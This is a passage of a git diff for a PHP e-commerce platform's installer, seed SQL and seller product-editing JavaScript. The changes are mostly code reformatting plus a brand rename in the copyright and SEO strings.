+            mysqli_query($link, "SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary");
+            mysqli_query($link, "SET sql_mode=''");
+            if (mysqli_errno($link)) {
                 $error = mysqli_error($link);
             } else {
-                $query = mysqli_query($link,"SHOW DATABASES LIKE  '{$db['name']}';");
+                $query = mysqli_query($link, "SHOW DATABASES LIKE  '{$db['name']}';");
                 if (!mysqli_fetch_assoc($query)) {
-                    if(mysqli_get_server_info($link) > '4.1') {
-                        mysqli_query($link,"CREATE DATABASE IF NOT EXISTS `{$db['name']}` DEFAULT CHARACTER SET utf8");
+                    if (mysqli_get_server_info($link) > '4.1') {
+                        mysqli_query($link, "CREATE DATABASE IF NOT EXISTS `{$db['name']}` DEFAULT CHARACTER SET utf8");
                     } else {
-                        mysqli_query($link,"CREATE DATABASE IF NOT EXISTS `{$db['name']}`");
+                        mysqli_query($link, "CREATE DATABASE IF NOT EXISTS `{$db['name']}`");
                     }
                 }
-                $query = mysqli_query($link,"SHOW DATABASES LIKE  '{$db['name']}';");
+                $query = mysqli_query($link, "SHOW DATABASES LIKE  '{$db['name']}';");
                 if (!mysqli_fetch_assoc($query)) {
                     $error .= "数据库不存在且创建数据库失败. <br />";
                 }
-                if(mysqli_errno($link)) {
+                if (mysqli_errno($link)) {
                     $error .= mysqli_error($link);
                 }
             }
         }
 
-        if(empty($error)) {
+        if (empty($error)) {
             $pieces = explode(':', $db['server']);
             $db['port'] = !empty($pieces[1]) ? $pieces[1] : '3306';
             $config = db_config();
             $cookiepre = local_salt(4) . '_';
             $authkey = local_salt(8);
             $config = str_replace(array(
-                                      '{db-server}', '{db-username}', '{db-password}', '{db-port}','{db-name}','{db-prefix}'
-                                  ), array(
-                                      $db['server'], $db['username'], $db['password'], $db['port'], $db['name'],$db['prefix']
-                                  ), $config);
+                '{db-server}', '{db-username}', '{db-password}', '{db-port}', '{db-name}', '{db-prefix}'
+            ), array(
+                $db['server'], $db['username'], $db['password'], $db['port'], $db['name'], $db['prefix']
+            ), $config);
 
 
             mysqli_close($link);
 
 
             $link = mysqli_connect($db['server'], $db['username'], $db['password']);
-            mysqli_select_db($link,$db['name']);
-            mysqli_query($link,"SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary");
-            mysqli_query($link,"SET sql_mode=''");
+            mysqli_select_db($link, $db['name']);
+            mysqli_query($link, "SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary");
+            mysqli_query($link, "SET sql_mode=''");
 
 
 
             //循环添加数据
-            if(file_exists(PATH_ROOT . '/install/install_base.sql')){
+            if (file_exists(PATH_ROOT . '/install/install_base.sql')) {
                 $sql = file_get_contents(PATH_ROOT . '/install/install_base.sql');
 
                 //添加初始化数据
-                if($_POST['initdata']){
-                    $sql.=file_get_contents(PATH_ROOT.'/install/initdata.sql');
+                if ($_POST['initdata']) {
+                    $sql .= file_get_contents(PATH_ROOT . '/install/initdata.sql');
                 }
-                $sql =str_replace('#__',$db['prefix'],$sql);
+                $sql = str_replace('#__', $db['prefix'], $sql);
                 $sql = str_replace("\r", "\n", $sql);
                 $sql = explode(";\n", $sql);
 
                 foreach ($sql as $item) {
                     $item = trim($item);
-                    if(empty($item)) continue;
+                    if (empty($item)) continue;
                     preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
-                    if($matches) {
+                    if ($matches) {
                         $table_name = $matches[1];
-                        $result = mysqli_query($link,$item);
+                        $result = mysqli_query($link, $item);
                     } else {
-                        $result = mysqli_query($link,$item);
+                        $result = mysqli_query($link, $item);
                     }
-                    if(!$result){
+                    if (!$result) {
                         die('<script type="text/javascript">alert("安装数据库SQL语句错误");history.back();</script>');
                     }
-
                 }
-            }else{
+            } else {
                 die('<script type="text/javascript">alert("安装包不正确, 数据安装脚本缺失.");history.back();</script>');
             }
-            
+
             //更新安装时间
-            $setup_date = date("Y-m-d H:i:s",time());
-            mysqli_query($link,"update {$db['prefix']}config set value = '{$setup_date}' where code = 'setup_date'");
+            $setup_date = date("Y-m-d H:i:s", time());
+            mysqli_query($link, "update {$db['prefix']}config set value = '{$setup_date}' where code = 'setup_date'");
 
             //添加用户管理员
             $password = md5($user['password']);
-            $insert_error = mysqli_query($link,"INSERT INTO {$db['prefix']}admin (admin_name, admin_password, admin_is_super, admin_gid) 
+            $insert_error = mysqli_query($link, "INSERT INTO {$db['prefix']}admin (admin_name, admin_password, admin_is_super, admin_gid) 
 			VALUES('{$user['username']}', '{$password}', '1', '0')");
-            if(!$insert_error){
+            if (!$insert_error) {
                 die('<script type="text/javascript">alert("管理员账户注册失败.");history.back();</script>');
             }
 
@@ -375,21 +375,21 @@ if($action == 'db') {
             $member_password = $store['password'];
 
             // 创建店铺
-            mysqli_query($link,"INSERT INTO {$db['prefix']}member (`member_id`,`member_name`,`member_password`,`member_nickname`,`member_email`,`member_addtime`,`member_logintime`,`member_old_logintime`) VALUES ('1', '{$member_name}','". md5($member_password) ."', '德尚网络_123456', '', '". time() ."', '". time() ."', '". time() ."')");
-            mysqli_query($link,"INSERT INTO {$db['prefix']}membercommon (`member_id`) VALUES ('1')");
-            mysqli_query($link,"INSERT INTO {$db['prefix']}store (`store_id`,`store_name`,`grade_id`,`member_id`,`member_name`,`seller_name`,`store_state`,`store_addtime`) VALUES ('1','{$store_name}','1','1','{$member_name}','{$seller_name}','1', '". time() ."')");
-            mysqli_query($link,"INSERT INTO {$db['prefix']}storejoinin (`member_id`,`member_name`,`seller_name`,`store_name`,`joinin_state`) VALUES ('1', '{$member_name}', '{$seller_name}', '{$store_name}', '40')");
-            mysqli_query($link,"INSERT INTO {$db['prefix']}seller (`seller_id`,`seller_name`,`member_id`,`sellergroup_id`,`store_id`,`is_admin`) VALUES ('1', '{$seller_name}', '1', '0', '1', '1')");
-            mysqli_query($link,"INSERT INTO {$db['prefix']}storebindclass (`bid`, `store_id`, `commis_rate`, `class_1`, `class_2`, `class_3`, `state`) VALUES ('1', '1', '0', '0', '0', '0', '1')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}member (`member_id`,`member_name`,`member_password`,`member_nickname`,`member_email`,`member_addtime`,`member_logintime`,`member_old_logintime`) VALUES ('1', '{$member_name}','" . md5($member_password) . "', '惠利玛_123456', '', '" . time() . "', '" . time() . "', '" . time() . "')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}membercommon (`member_id`) VALUES ('1')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}store (`store_id`,`store_name`,`grade_id`,`member_id`,`member_name`,`seller_name`,`store_state`,`store_addtime`) VALUES ('1','{$store_name}','1','1','{$member_name}','{$seller_name}','1', '" . time() . "')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}storejoinin (`member_id`,`member_name`,`seller_name`,`store_name`,`joinin_state`) VALUES ('1', '{$member_name}', '{$seller_name}', '{$store_name}', '40')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}seller (`seller_id`,`seller_name`,`member_id`,`sellergroup_id`,`store_id`,`is_admin`) VALUES ('1', '{$seller_name}', '1', '0', '1', '1')");
+            mysqli_query($link, "INSERT INTO {$db['prefix']}storebindclass (`bid`, `store_id`, `commis_rate`, `class_1`, `class_2`, `class_3`, `state`) VALUES ('1', '1', '0', '0', '0', '0', '1')");
 
-            mysqli_query($link,"update {$db['prefix']}goods set is_platform_store = 1 where store_id = 1");
-            mysqli_query($link,"update {$db['prefix']}goodscommon set is_platform_store = 1 where store_id = 1");
-            mysqli_query($link,"update {$db['prefix']}store set is_platform_store = 1 where store_id = 1");
-            mysqli_query($link,"update {$db['prefix']}store set bind_all_gc = 1 where store_id = 1");
+            mysqli_query($link, "update {$db['prefix']}goods set is_platform_store = 1 where store_id = 1");
+            mysqli_query($link, "update {$db['prefix']}goodscommon set is_platform_store = 1 where store_id = 1");
+            mysqli_query($link, "update {$db['prefix']}store set is_platform_store = 1 where store_id = 1");
+            mysqli_query($link, "update {$db['prefix']}store set bind_all_gc = 1 where store_id = 1");
 
-            if($_POST['initdata']){
-                mysqli_query($link,"update {$db['prefix']}goods set store_name = '{$store_name}'");
-                mysqli_query($link,"update {$db['prefix']}goodscommon set store_name = '{$store_name}'");
+            if ($_POST['initdata']) {
+                mysqli_query($link, "update {$db['prefix']}goods set store_name = '{$store_name}'");
+                mysqli_query($link, "update {$db['prefix']}goodscommon set store_name = '{$store_name}'");
             }
             //配置数据库
             file_put_contents(PATH_ROOT . '/../config/database.php', $config);
@@ -401,7 +401,6 @@ if($action == 'db') {
             setcookie('action', 'finish');
             header('location: ?refresh');
             exit();
-
         }
     }
     tpl_install_db($error);
@@ -411,15 +410,16 @@ if($action == 'db') {
  * 安装完成
  */
 
-if($action == 'finish') {
-    setcookie('action', '',time()-3600);
+if ($action == 'finish') {
+    setcookie('action', '', time() - 3600);
     $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')));
-    $sitepath = str_replace('/install',"",$sitepath);
-    $url = strtolower('http://'.$_SERVER['HTTP_HOST'].$sitepath);
+    $sitepath = str_replace('/install', "", $sitepath);
+    $url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath);
     tpl_install_finish($url);
 }
 
-function tpl_install_license() {
+function tpl_install_license()
+{
     echo <<<EOF
 		<div class="panel panel-default">
 			<div class="panel-heading">阅读许可协议</div>
@@ -477,13 +477,14 @@ EOF;
     tpl_frame();
 }
 
-function tpl_frame() {
+function tpl_frame()
+{
     global $action, $actions;
     $action = $_COOKIE['action'];
     $step = array_search($action, $actions);
     $steps = array();
-    for($i = 0; $i <= $step; $i++) {
-        if($i == $step) {
+    for ($i = 0; $i <= $step; $i++) {
+        if ($i == $step) {
             $steps[$i] = ' step-info';
         } else {
             $steps[$i] = ' step-success';
@@ -562,13 +563,14 @@ function tpl_frame() {
 EOF;
     echo trim($tpl);
 }
-function local_writeable($dir) {
+function local_writeable($dir)
+{
     $writeable = 0;
-    if(!is_dir($dir)) {
+    if (!is_dir($dir)) {
         @mkdir($dir, 0777);
     }
-    if(is_dir($dir)) {
-        if($fp = fopen("$dir/test.txt", 'w')) {
+    if (is_dir($dir)) {
+        if ($fp = fopen("$dir/test.txt", 'w')) {
             fclose($fp);
             unlink("$dir/test.txt");
             $writeable = 1;
@@ -579,8 +581,9 @@ function local_writeable($dir) {
     return $writeable;
 }
 
-function tpl_install_env($ret = array()) {
-    if(!$ret['continue']) {
+function tpl_install_env($ret = array())
+{
+    if (!$ret['continue']) {
         $continue = '<li class="previous disabled"><a href="javascript:;">请先解决环境问题后继续</a></li>';
     } else {
         $continue = '<li class="previous"><a href="javascript:;" onclick="$(\'#do\').val(\'continue\');$(\'form\')[0].submit();">继续 <span class="glyphicon glyphicon-chevron-right"></span></a></li>';
@@ -751,8 +754,9 @@ EOF;
     tpl_frame();
 }
 
-function tpl_install_db($error = '') {
-    if(!empty($error)) {
+function tpl_install_db($error = '')
+{
+    if (!empty($error)) {
         $message = '<div class="alert alert-danger">发生错误: ' . $error . '</div>';
     }
     $insTypes = array();
@@ -959,7 +963,8 @@ EOF;
     tpl_frame();
 }
 
-function db_config(){
+function db_config()
+{
     $cfg = <<<EOF
 <?php
 
@@ -1029,15 +1034,17 @@ EOF;
     return trim($cfg);
 }
 
-function local_salt($length = 8) {
+function local_salt($length = 8)
+{
     $result = '';
-    while(strlen($result) < $length) {
+    while (strlen($result) < $length) {
         $result .= sha1(uniqid('', true));
     }
     return substr($result, 0, $length);
 }
 
-function tpl_install_finish($url) {
+function tpl_install_finish($url)
+{
     echo <<<EOF
 	<div class="page-header"><h3 style="text-align:center">安装完成</h3></div>
 	<div class="alert alert-success">
@@ -1046,5 +1053,4 @@ function tpl_install_finish($url) {
 	</div>
 EOF;
     tpl_frame();
-
-}
+}

+ 2 - 2
public/install/install_base.sql

@@ -7796,7 +7796,7 @@ INSERT INTO `#__config` (`id`, `code`, `value`, `remark`) VALUES
 (9, 'icp_number', '2', 'ICP备案号'),
 (10, 'site_tel400', '40002541852', '解释,备注'),
 (11, 'site_email', '858761000@qq.com', '电子邮件'),
-(12, 'flow_static_code', 'Copyright © 2013-2019 德尚网络开源系统 版权所有 保留一切权利', '底部版权信息'),
+(12, 'flow_static_code', 'Copyright © 2013-2019 惠利玛开源系统 版权所有 保留一切权利', '底部版权信息'),
 (13, 'closed_reason', '商城暂时关闭', '商城关闭原因'),
 (14, 'guest_comment', '1', '是否允许游客咨询'),
 (15, 'captcha_status_login', '1', '会员登录是否需要验证码'),
@@ -8152,7 +8152,7 @@ INSERT INTO `#__refundreason` (`reason_id`, `reason_info`, `reason_sort`, `reaso
 (4, '认为是假货', 4, 1393480261),
 (5, '不能按时发货', 5, 1393480261);
 
-INSERT INTO `#__seo` (`seo_id`, `seo_title`, `seo_keywords`, `seo_description`, `seo_type`) VALUES (1, '{sitename} - 程序来源于德尚网络', 'DSMALL,PHP商城系统,DSMALL商城系统,多用户商城系统,电商ERP,电商CRM,电子商务解决方案', '', 'index'),
+INSERT INTO `#__seo` (`seo_id`, `seo_title`, `seo_keywords`, `seo_description`, `seo_type`) VALUES (1, '{sitename} - 程序来源于惠利玛', 'DSMALL,PHP商城系统,DSMALL商城系统,多用户商城系统,电商ERP,电商CRM,电子商务解决方案', '', 'index'),
 (2, '{sitename} - 抢购', 'DSMALL,{sitename}', '', 'group'),
 (3, '{sitename} - {name}', 'DSMALL,{name},{sitename}', 'DSMALL,{name},{sitename}', 'group_content'),
 (4, '{sitename} - 品牌', 'DSMALL,{sitename}', 'DSMALL,{sitename}', 'brand'),

+ 252 - 251
public/static/home/js/sellergoods_add_step2.js

@@ -1,17 +1,17 @@
-$(function(){
+$(function () {
     // 取消回车提交表单 
-    $('input').keypress(function(e){
+    $('input').keypress(function (e) {
         var key = window.event ? e.keyCode : e.which;
         if (key.toString() == "13") {
-         return false;
+            return false;
         }
     });
     // 添加店铺分类
-    $("#add_sgcategory").unbind().click(function(){
+    $("#add_sgcategory").unbind().click(function () {
         $(".sgcategory:last").after($(".sgcategory:last").clone(true).val(0));
     });
     // 选择店铺分类
-    $('.sgcategory').unbind().change( function(){
+    $('.sgcategory').unbind().change(function () {
         var _val = $(this).val();       // 记录选择的值
         $(this).val('0');               // 已选择值清零
         // 验证是否已经选择
@@ -21,27 +21,27 @@ $(function(){
         }
         $(this).val(_val);              // 重新赋值
     });
-    
+
     /* 商品图片ajax上传 */
     $('#goods_image').fileupload({
         dataType: 'json',
         url: HOMESITEURL + '/Sellergoodsadd/image_upload.html?upload_type=uploadedfile',
-        formData: function(form){
-            var aclass_id=$("#demo select[name=jumpMenu]").val()
-            return [{name:'name',value:'goods_image'},{name:'aclass_id',value:aclass_id?aclass_id:0}];
+        formData: function (form) {
+            var aclass_id = $("#demo select[name=jumpMenu]").val()
+            return [{ name: 'name', value: 'goods_image' }, { name: 'aclass_id', value: aclass_id ? aclass_id : 0 }];
         },
-        add: function (e,data) {
-        	$('img[dstype="goods_image"]').attr('src', HOMESITEROOT + '/images/loading.gif');
+        add: function (e, data) {
+            $('img[dstype="goods_image"]').attr('src', HOMESITEROOT + '/images/loading.gif');
             data.submit();
         },
-        done: function (e,data) {
+        done: function (e, data) {
             var param = data.result;
-            if (typeof(param.error) != 'undefined') {
+            if (typeof (param.error) != 'undefined') {
                 alert(param.error);
-                $('img[dstype="goods_image"]').attr('src',DEFAULT_GOODS_IMAGE);
+                $('img[dstype="goods_image"]').attr('src', DEFAULT_GOODS_IMAGE);
             } else {
                 $('input[dstype="goods_image"]').val(param.name);
-                $('img[dstype="goods_image"]').attr('src',param.thumb_name);
+                $('img[dstype="goods_image"]').attr('src', param.thumb_name);
             }
         }
     });
@@ -49,98 +49,98 @@ $(function(){
     $('#goodsvideo').fileupload({
         dataType: 'json',
         url: HOMESITEURL + '/Sellervideo/video_upload.html',
-        formData: {name:'goodsvideo'},
-        add: function (e,data) {
+        formData: { name: 'goodsvideo' },
+        add: function (e, data) {
             data.submit();
         },
-        done: function (e,data) {
+        done: function (e, data) {
             var param = data.result;
-            if (typeof(param.error) != 'undefined') {
+            if (typeof (param.error) != 'undefined') {
                 alert(param.error);
             } else {
                 $('input[dstype="goodsvideo_name"]').val(param.name);
-                $('video[dstype="goodsvideo_name"]').attr('src',param.url);
+                $('video[dstype="goodsvideo_name"]').attr('src', param.url);
             }
         }
     });
     /* ajax打开图片空间 */
     // 商品主图使用
     $('a[dstype="show_image"]').unbind().ajaxContent({
-        event:'click', //mouseover
-        loaderType:"img",
-        loadingMsg:HOMESITEROOT+"/images/loading.gif",
-        target:'#demo'
-    }).click(function(){
+        event: 'click', //mouseover
+        loaderType: "img",
+        loadingMsg: HOMESITEROOT + "/images/loading.gif",
+        target: '#demo'
+    }).click(function () {
         $(this).hide();
         $('a[dstype="del_goods_demo"]').show();
     });
-    $('a[dstype="del_goods_demo"]').unbind().click(function(){
+    $('a[dstype="del_goods_demo"]').unbind().click(function () {
         $('#demo').html('');
         $(this).hide();
         $('a[dstype="show_image"]').show();
     });
     //商品主图翻页
-    $('#demo').on('click', '.pagination li a', function() {
+    $('#demo').on('click', '.pagination li a', function () {
         $('#demo').load($(this).attr('href'));
         return false;
     });
     /* ajax打开视频库 */
     $('a[dstype="show_video"]').unbind().ajaxContent({
-        event:'click', //mouseover
-        loaderType:"img",
-        loadingMsg:HOMESITEROOT+"/images/loading.gif",
-        target:'#goods_video_list'
-    }).click(function(){
+        event: 'click', //mouseover
+        loaderType: "img",
+        loadingMsg: HOMESITEROOT + "/images/loading.gif",
+        target: '#goods_video_list'
+    }).click(function () {
         $(this).hide();
         $('a[dstype="del_goods_video_list"]').show();
     });
-    $('a[dstype="del_goods_video_list"]').unbind().click(function(){
+    $('a[dstype="del_goods_video_list"]').unbind().click(function () {
         $('#goods_video_list').html('');
         $(this).hide();
         $('a[dstype="show_video"]').show();
     });
     //视频库翻页
-    $('#goods_video_list').on('click', '.pagination li a', function() {
+    $('#goods_video_list').on('click', '.pagination li a', function () {
         $('#goods_video_list').load($(this).attr('href'));
         return false;
     });
     // 商品描述使用
     $('a[dstype="show_desc"]').unbind().ajaxContent({
-        event:'click', //mouseover
-        loaderType:"img",
-        loadingMsg:HOMESITEROOT+"/images/loading.gif",
-        target:'#des_demo'
-    }).click(function(){
+        event: 'click', //mouseover
+        loaderType: "img",
+        loadingMsg: HOMESITEROOT + "/images/loading.gif",
+        target: '#des_demo'
+    }).click(function () {
         $(this).hide();
         $('a[dstype="del_desc"]').show();
     });
-    
-    $('a[dstype="del_desc"]').click(function(){
+
+    $('a[dstype="del_desc"]').click(function () {
         $('#des_demo').html('');
         $(this).hide();
         $('a[dstype="show_desc"]').show();
     });
     //商品描述图片翻页
-    $('#des_demo').on('click', '.pagination li a', function() {
+    $('#des_demo').on('click', '.pagination li a', function () {
         $('#des_demo').load($(this).attr('href'));
         return false;
     });
-    var index=0
+    var index = 0
     $('#add_album').fileupload({
         dataType: 'json',
-        url: HOMESITEURL+'/Sellergoodsadd/image_upload.html',
-        formData: function(form){
-            var aclass_id=$("#des_demo select[name=jumpMenu]").val()
-            setTimeout(function(){
-                index=0
-            },1000)
-            return [{name:'index',value:++index},{name:'name',value:'add_album'},{name:'aclass_id',value:aclass_id?aclass_id:0}];
+        url: HOMESITEURL + '/Sellergoodsadd/image_upload.html',
+        formData: function (form) {
+            var aclass_id = $("#des_demo select[name=jumpMenu]").val()
+            setTimeout(function () {
+                index = 0
+            }, 1000)
+            return [{ name: 'index', value: ++index }, { name: 'name', value: 'add_album' }, { name: 'aclass_id', value: aclass_id ? aclass_id : 0 }];
         },
-        add: function (e,data) {
-            $('i[dstype="add_album_i"]').html("&#xe717;").addClass('rotate').attr('data_type', parseInt($('i[dstype="add_album_i"]').attr('data_type'))+1);
+        add: function (e, data) {
+            $('i[dstype="add_album_i"]').html("&#xe717;").addClass('rotate').attr('data_type', parseInt($('i[dstype="add_album_i"]').attr('data_type')) + 1);
             data.submit();
         },
-        done: function (e,data) {
+        done: function (e, data) {
             var _counter = parseInt($('i[dstype="add_album_i"]').attr('data_type'));
             _counter -= 1;
             if (_counter == 0) {
@@ -151,93 +151,93 @@ $(function(){
         }
     });
     /* ajax打开图片空间 end */
-    
+
     // 商品属性
     attr_selected();
-    $('select[ds_type="attr_select"]').change(function(){
+    $('select[ds_type="attr_select"]').change(function () {
         id = $(this).find('option:selected').attr('ds_type');
-        name = $(this).attr('attr').replace(/__NC__/g,id);
-        $(this).attr('name',name);
+        name = $(this).attr('attr').replace(/__NC__/g, id);
+        $(this).attr('name', name);
     });
-    
+
     // 修改规格名称
-    $('dl[dstype="spec_group_dl"]').on('click', 'input[type="checkbox"]', function(){
+    $('dl[dstype="spec_group_dl"]').on('click', 'input[type="checkbox"]', function () {
         pv = $(this).parents('li').find('span[dstype="pv_name"]');
-        if(typeof(pv.find('input').val()) == 'undefined'){
-            pv.html('<input type="text" maxlength="20" class="text" value="'+pv.html()+'" />');
-        }else{
+        if (typeof (pv.find('input').val()) == 'undefined') {
+            pv.html('<input type="text" maxlength="20" class="text" value="' + pv.html() + '" />');
+        } else {
             pv.html(pv.find('input').val());
         }
     });
-    $('dl[dstype="spec_group_dl"]').on('change','span[dstype="pv_name"] > input',function(){
+    $('dl[dstype="spec_group_dl"]').on('change', 'span[dstype="pv_name"] > input', function () {
         change_img_name($(this));       // 修改相关的颜色名称
         into_array();           // 将选中的规格放入数组
         goods_stock_set();      // 生成库存配置
     });
-    
+
     // 运费部分显示隐藏
-    $('input[dstype="freight"]').click(function(){
-            $('input[dstype="freight"]').nextAll('div[dstype="div_freight"]').hide();
-            $(this).nextAll('div[dstype="div_freight"]').show();
+    $('input[dstype="freight"]').click(function () {
+        $('input[dstype="freight"]').nextAll('div[dstype="div_freight"]').hide();
+        $(this).nextAll('div[dstype="div_freight"]').show();
     });
-    
+
     // 商品所在地
-    /*德尚网络待完善 BEGIN*/
+    /*待完善 BEGIN*/
+
 
-    
     // 定时发布时间
-    $('#starttime').datepicker({dateFormat: 'yy-mm-dd'});
-    
-    $('input[name="g_state"]').click(function(){
-        if($(this).attr('dstype') == 'auto'){
-            $('#starttime').removeAttr('disabled').css('background','');
-            $('#starttime_H').removeAttr('disabled').css('background','');
-            $('#starttime_i').removeAttr('disabled').css('background','');
-        }else{
-            $('#starttime').prop('disabled','disabled').css('background','#E7E7E7 none');
-            $('#starttime_H').prop('disabled','disabled').css('background','#E7E7E7 none');
-            $('#starttime_i').prop('disabled','disabled').css('background','#E7E7E7 none');
-        }
-    });
-    
+    $('#starttime').datepicker({ dateFormat: 'yy-mm-dd' });
+
+    $('input[name="g_state"]').click(function () {
+        if ($(this).attr('dstype') == 'auto') {
+            $('#starttime').removeAttr('disabled').css('background', '');
+            $('#starttime_H').removeAttr('disabled').css('background', '');
+            $('#starttime_i').removeAttr('disabled').css('background', '');
+        } else {
+            $('#starttime').prop('disabled', 'disabled').css('background', '#E7E7E7 none');
+            $('#starttime_H').prop('disabled', 'disabled').css('background', '#E7E7E7 none');
+            $('#starttime_i').prop('disabled', 'disabled').css('background', '#E7E7E7 none');
+        }
+    });
+
     // 计算折扣
-    $('input[name="g_price"],input[name="g_marketprice"]').change(function(){
+    $('input[name="g_price"],input[name="g_marketprice"]').change(function () {
         discountCalculator();
     });
-    
+
 
     /* AJAX添加规格值 */
     // 添加规格
-    $('a[dstype="specAdd"]').click(function(){
-        
+    $('a[dstype="specAdd"]').click(function () {
+
         var _parent = $(this).parents('li:first');
         _parent.find('div[dstype="specAdd1"]').hide();
         _parent.find('div[dstype="specAdd2"]').show();
         _parent.find('input').focus();
     });
     // 取消
-    $('a[dstype="specAddCancel"]').click(function(){
+    $('a[dstype="specAddCancel"]').click(function () {
         var _parent = $(this).parents('li:first');
         _parent.find('div[dstype="specAdd1"]').show();
         _parent.find('div[dstype="specAdd2"]').hide();
         _parent.find('input').val('');
     });
     // 提交
-    $('a[dstype="specAddSubmit"]').click(function(){
+    $('a[dstype="specAddSubmit"]').click(function () {
         var _parent = $(this).parents('li:first');
         eval('var data_str = ' + _parent.attr('data-param'));
         var _input = _parent.find('input');
         _parent.find('div[dstype="specAdd1"]').show();
         _parent.find('div[dstype="specAdd2"]').hide();
-        $.getJSON(data_str.url, {gc_id : data_str.gc_id , sp_id : data_str.sp_id , name : _input.val()}, function(data){
+        $.getJSON(data_str.url, { gc_id: data_str.gc_id, sp_id: data_str.sp_id, name: _input.val() }, function (data) {
             if (data.done) {
-                _parent.before('<li><span dstype="input_checkbox"><input type="checkbox" name="sp_val[' + data_str.sp_id + '][' + data.value_id + ']" ds_type="' + data.value_id + '" value="' +_input.val()+ '" /></span><span dstype="pv_name">' + _input.val() + '</span></li>');
+                _parent.before('<li><span dstype="input_checkbox"><input type="checkbox" name="sp_val[' + data_str.sp_id + '][' + data.value_id + ']" ds_type="' + data.value_id + '" value="' + _input.val() + '" /></span><span dstype="pv_name">' + _input.val() + '</span></li>');
                 _input.val('');
             }
         });
     });
     // 修改规格名称
-    $('input[dstype="spec_name"]').change(function(){
+    $('input[dstype="spec_name"]').change(function () {
         eval('var data_str = ' + $(this).attr('data-param'));
         if ($(this).val() == '') {
             $(this).val(data_str.name);
@@ -245,19 +245,19 @@ $(function(){
         $('th[dstype="spec_name_' + data_str.id + '"]').html($(this).val());
     });
     // 批量设置价格、库存、预警值
-    $('.batch > i').click(function(){
+    $('.batch > i').click(function () {
         $('.batch > .batch-input').hide();
         $(this).next().show();
     });
-    $('.batch-input > .close').click(function(){
+    $('.batch-input > .close').click(function () {
         $(this).parent().hide();
     });
-    $('.batch-input > .dssc-btn-mini').click(function(){
+    $('.batch-input > .dssc-btn-mini').click(function () {
         var _value = $(this).prev().val();
         var _type = $(this).attr('data-type');
-        if (_type == 'price' || _type == 'marketprice' ) {
+        if (_type == 'price' || _type == 'marketprice') {
             _value = number_format(_value, 2);
-        } else if (_type == 'goods_weight'){
+        } else if (_type == 'goods_weight') {
             _value = number_format(_value, 3);
         } else {
             _value = parseInt(_value);
@@ -281,67 +281,67 @@ $(function(){
             computeStock();
         }
     });
-    
+
     /* AJAX选择品牌 */
     // 根据首字母查询
-    $('.letter[dstype="letter"]').find('a[data-letter]').click(function(){
+    $('.letter[dstype="letter"]').find('a[data-letter]').click(function () {
         var _url = $(this).parents('.brand-index:first').attr('data-url');
         var _tid = $(this).parents('.brand-index:first').attr('data-tid');
         var _letter = $(this).attr('data-letter');
         var _search = $(this).html();
-        $.getJSON(_url, {type : 'letter', tid : _tid, letter : _letter}, function(data){
+        $.getJSON(_url, { type: 'letter', tid: _tid, letter: _letter }, function (data) {
             insertBrand(data, _search);
         });
     });
-	 $('.letter[dstype="letter"]').find('a[data-empty]').click(function(){
-		 $('#b_name').val("");
-		 });
-	
-	
+    $('.letter[dstype="letter"]').find('a[data-empty]').click(function () {
+        $('#b_name').val("");
+    });
+
+
     // 根据关键字查询
-    $('.search[dstype="search"]').find('a').click(function(){
+    $('.search[dstype="search"]').find('a').click(function () {
         var _url = $(this).parents('.brand-index:first').attr('data-url');
         var _tid = $(this).parents('.brand-index:first').attr('data-tid');
         var _keyword = $('#search_brand_keyword').val();
-        $.getJSON(_url, {type : 'keyword', tid : _tid, keyword : _keyword}, function(data){
+        $.getJSON(_url, { type: 'keyword', tid: _tid, keyword: _keyword }, function (data) {
             insertBrand(data, _keyword);
         });
     });
     // 选择品牌
-    $('ul[dstype="brand_list"]').on('click', 'li', function(){
+    $('ul[dstype="brand_list"]').on('click', 'li', function () {
         $('#b_id').val($(this).attr('data-id'));
         $('#b_name').val($(this).attr('data-name'));
         $('.dssc-brand-select > .dssc-brand-select-container').hide();
     });
-    
+
     //搜索品牌列表滚条绑定
     $('div[dstype="brandList"]').perfectScrollbar();
-    
-    $('select[name="b_id"]').change(function(){
+
+    $('select[name="b_id"]').change(function () {
         getBrandName();
     });
-    
-    $('input[name="b_name"]').focus(function(){
+
+    $('input[name="b_name"]').focus(function () {
         $('.dssc-brand-select > .dssc-brand-select-container').show();
     });
-	//下拉隐藏显示品牌列表
-        $('.add-on[dstype="add-on"]').click(function(){
-            $('.dssc-brand-select > .dssc-brand-select-container').fadeToggle();
-        });
-    
-    
+    //下拉隐藏显示品牌列表
+    $('.add-on[dstype="add-on"]').click(function () {
+        $('.dssc-brand-select > .dssc-brand-select-container').fadeToggle();
+    });
+
+
     /* 虚拟控制 */
     // 虚拟商品有效期
-    $('#g_vindate').datepicker({dateFormat: 'yy-mm-dd', minDate: new Date()});
-    $('[name="is_gv"]').change(function(){
+    $('#g_vindate').datepicker({ dateFormat: 'yy-mm-dd', minDate: new Date() });
+    $('[name="is_gv"]').change(function () {
         if ($('#is_gv_1').prop("checked")) {
             $('#is_goodsfcode_0').click();          // 虚拟商品不能发布F码,取消选择F码
             $('#is_presell_0').click();     // 虚拟商品不能设置预售,取消选择预售
             $('[dstype="virtual_valid"]').show();
-            var virtual_type=$('input[name=virtual_type]:checked').val()
-            $('[virtual_type][virtual_type!='+virtual_type+']').hide();
+            var virtual_type = $('input[name=virtual_type]:checked').val()
+            $('[virtual_type][virtual_type!=' + virtual_type + ']').hide();
             $('[dstype="virtual_null"]').hide();
-            if(!$('dl[ds_type="spec_dl"]').is(':hidden')){
+            if (!$('dl[ds_type="spec_dl"]').is(':hidden')) {
                 $('[virtual_type][ds_type="no_spec"]').hide()
             }
         } else {
@@ -352,17 +352,17 @@ $(function(){
             $('[dstype!="virtual_valid"][virtual_type=0]').show();
         }
     });
-    $('[name="virtual_type"]').change(function(){
-        var virtual_type=$(this).val()
+    $('[name="virtual_type"]').change(function () {
+        var virtual_type = $(this).val()
         $('[virtual_type]').hide();
-        $('[virtual_type='+virtual_type+']').show();
-        if(!$('dl[ds_type="spec_dl"]').is(':hidden')){
